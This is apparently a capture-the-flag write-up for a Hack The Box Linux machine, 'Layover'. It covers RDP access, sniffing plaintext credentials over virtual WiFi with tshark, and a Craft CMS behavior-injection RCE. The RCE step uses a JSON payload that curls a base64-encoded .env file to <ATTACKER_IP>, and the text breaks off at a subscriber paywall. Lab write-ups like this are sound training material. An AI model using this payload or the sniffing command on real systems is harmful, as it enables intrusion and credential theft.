**Machine Name:** Layover **Operating System:** Linux **Difficulty:** Medium ## Executive Summary Layover is a medium-rated Linux box themed around a corporate airport network. The path to compromise opens with an RDP session against a loosely secured jumpbox, then moves through a simulated virtual WiFi segment where plaintext credentials can be sniffed off the wire. Those credentials unlock a Remote Code Execution (RCE) flaw in Craft CMS, which in turn enables lateral movement over SSH. Root is reached by abusing a local privilege escalation bug in the CUPS printing service. * * * ## 1. Initial Access & Enumeration ### 1.1 Port Scanning and RDP Access A first pass with **Rustscan** and **Nmap** surfaces two listening ports: * **22/tcp:** OpenSSH * **3389/tcp:** RDP (xrdp) The box ships with starter credentials (`contractor` / `Contractor2026!`). Password-based SSH is turned off for this account, but the same credentials authenticate cleanly over RDP. The session drops us into an XFCE desktop running on a jumpbox named `airside-ws01`. ### 1.2 Virtual WiFi Enumeration Poking around the jumpbox locally turns up virtual WiFi adapters (`wlan2`, `wlan3`) backed by the `mac80211_hwsim` kernel module, which fakes WiFi hardware for lab scenarios. A scan for nearby networks shows an open SSID, `HTB International WiFi`. Associating with it hands us an address on the internal `10.13.37.0/24` subnet. ### 1.3 Traffic Sniffing (tshark) To grab credentials for the internal portal, `wlan3` is switched into **monitor mode** on channel 6. **tshark** then filters for HTTP POST requests, capturing login attempts sent in the clear across the unencrypted WiFi: tshark -i wlan3 -Y 'http.request.method=="POST"' -T fields -e ip.src -e http.request.full_uri -e urlencoded-form.key -e urlencoded-form.value Before long, a scripted "employee" authenticates to the portal, exposing: * **Username:** `jenny` * **Password:** `Fl1ghtDeck2026!` * * * ## 2. Foothold: Craft CMS RCE ### 2.1 Vulnerability Identification (SAST & ALPN Analysis) Working through the internal portal (`portal.international.htb`), we apply **SAST (Static Application Security Testing)** reasoning to how the application responds and inspect the **ALPN (Application-Layer Protocol Negotiation)** headers to fingerprint the stack. This pins the portal to **Craft CMS 5.9.8** , sitting on the Yii2 PHP framework. Digging into that release reveals a serious **Behavior Injection vulnerability** (tied to CVEs affecting Craft CMS < 5.9.9). The `/admin/actions/element-search/search` endpoint doesn't properly validate the `fieldLayouts` parameter inside the JSON body, which lets us instantiate arbitrary PHP classes. ### 2.2 Exploitation We leverage the flaw to make the server load the `Psy\Readline\Hoa\ConsoleProcessus` class, whose `execute` method can run system commands. Delivering a purpose-built JSON payload — either through the browser console or a short Python script — gives us Remote Code Execution. Because command output never comes back in the HTTP response, we pull data out of band: the server is instructed to `curl` a base64-encoded copy of the `.env` file to a listener on the jumpbox. **Payload Structure:** { "elementType": "craft\\elements\\Category", "siteId": 1, "search": "", "condition": { "class": "craft\\elements\\conditions\\ElementCondition", "elementType": "craft\\elements\\Category", "fieldLayouts": [{ "as rce": { "__class": "yii\\behaviors\\AttributeTypecastBehavior", "__construct()": [{ "attributeTypes": { "typecastBeforeSave": [ "Psy\\Readline\\Hoa\\ConsoleProcessus", "execute" ] }, "typecastBeforeSave": ["sh", "-c", "curl http://<ATTACKER_IP>:9999/$(cat /var/www/portal/.env | base64 -w0)"] }] }, "on *": "self::beforeSave" }] } } ### 2.3 Decrypting Credentials Decoding the exfiltrated base64 blob hands us the `CRAFT_SECURITY_KEY` stored in `.env`. Signed in as Jenny, we export a SQL backup of the database from the Craft CMS admin panel. The `htbairways_settings` table holds an encrypted password belonging to `aporter`. Feeding the stolen `CRAFT_SECURITY_KEY` into a small PHP script on the target lets us decrypt it: * **Username:** `aporter` * **Password:** `Skyp0rt_Relay!26` * * * ### This post is for subscribers only Become a member to get access to all content Subscribe now